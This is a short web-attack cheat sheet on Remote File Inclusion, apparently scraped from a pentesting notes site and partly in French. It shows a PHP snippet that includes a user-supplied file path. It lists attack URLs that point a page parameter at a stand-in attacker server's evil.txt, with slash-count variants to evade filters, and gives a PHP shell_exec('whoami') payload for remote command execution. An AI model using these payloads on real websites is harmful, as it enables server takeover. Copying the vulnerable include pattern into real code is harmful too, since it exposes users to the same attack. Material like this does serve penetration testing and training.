RFI
RFI (Remote File Inclusion)
$include_file = $_REQUEST["file"];
include($include_file);http://example.com/index.php?page=http://<attackerserver>.com/evil.txt
# ou
http://example.com/index.php?page=//<attackerserver>.com/evil.txt
http://example.com/index.php?page=///<attackerserver>.com/evil.txt
http://example.com/index.php?page=////<attackerserver>.com/evil.txt
http://example.com/index.php?page=/////<attackerserver>.com/evil.txt
http://example.com/index.php?page=//////<attackerserver>.com/evil.txt<?php echo shell_exec("whoami");?>Sites
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/lfi-rfiLast updated